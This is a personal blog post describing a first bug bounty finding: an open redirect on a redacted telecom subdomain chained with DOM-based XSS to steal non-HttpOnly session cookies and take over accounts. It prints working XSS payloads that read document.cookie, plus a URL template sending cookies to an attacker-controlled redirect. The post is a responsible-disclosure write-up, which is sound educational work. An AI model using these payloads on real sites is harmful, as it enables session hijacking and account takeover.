Skip to main content

Command Palette

Search for a command to run...

My First Bug Bounty: Chaining Open Redirect and DOM XSS into Account Takeover

Published
2 min read
My First Bug Bounty: Chaining Open Redirect and DOM XSS into Account Takeover
T
Software Integration and Security Engineer with a background in Cisco networking, ethical hacking, and secure application development. I hold a B. IT (cum laude) from Tshwane University of Technology, along with PNPT, PJPT, and PT1 certifications. My strengths include Active Directory and network penetration testing, web application reconnaissance, entry-level AppSec, and building lightweight tools for security assessments. I also work across Angular, TypeScript, C#, .NET, Azure Functions, Storage, Service Bus, Logic Apps, and Azure DevOps. I’m passionate about offensive security, bug bounty hunting, and building practical solutions that improve both software delivery and security posture.

This was my first ever valid bug bounty report through a VDP, and it got marked Medium severity. It was also not a duplicate, so for me this was a huge win.

One thing I had heard a lot in bug bounty is that open redirects on their own usually do not have much impact. And honestly, that is often true. But the first time I really understood bug chaining was after reading Bug Bounty Bootcamp by Vickie Li. That idea stayed with me.

At the time, I was actually hunting for SSRF when I landed on an open redirect on a subdomain belonging to a large telecom company. Instead of moving on, I decided to read the JavaScript to understand how it worked. That is when I found something much better: a DOM-Based XSS.

Most of my payloads were blocked, but I found one that worked:

<Img Src=OnXSS OnErroR=confirm(document.cookie)>

That confirmed JavaScript execution. From there, I started thinking beyond just XSS and asked myself: can I turn this into real impact?

I noticed the application attached a query parameter called utm_source, and that value could be updated through the DOM. That let me use this payload:

<Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))>

By chaining that with the open redirect, I was able to exfiltrate cookie data and reuse the victim’s session, which led to session hijacking and ultimately account takeover.

The redacted endpoint structure looked like this:

https://example-sub.example.com/preview?next=<ATTACKER_CONTROLLED_URL>&bannerText=<Img Src=OnXSS OnErroR=utm_source=encodeURIComponent(btoa(document.cookie))>

What made this work was simple:

  • the cookies were not HttpOnly, so JavaScript could read them

  • the next and bannerText parameters were not properly validated or sanitized

That is what made the chain dangerous. The open redirect alone might not have been enough, but combined with DOM XSS and readable session cookies, it became a medium-severity account takeover

The Moment It Got Triaged

One of the best parts of this experience was getting the triage message back and seeing that the report was marked as triaged and medium severity. Since this was my first valid bug bounty report and it was also not a duplicate, that moment meant a lot to me.

This bug taught me something I will carry into every hunt: do not dismiss “low-impact” bugs too quickly. Sometimes the real value is not the first bug you find, but what happens when you connect it to something else.

A

Chaining open redirect with DOM XSS is such a classic yet powerful attack vector. What makes this especially interesting is how the open redirect — often dismissed as low severity — became the entry point for a full account takeover. This is a great reminder that vulnerability chaining is where the real impact lies. Did the VDP have any specific scope limitations on redirect-based findings, or was the XSS chain what elevated it to high severity?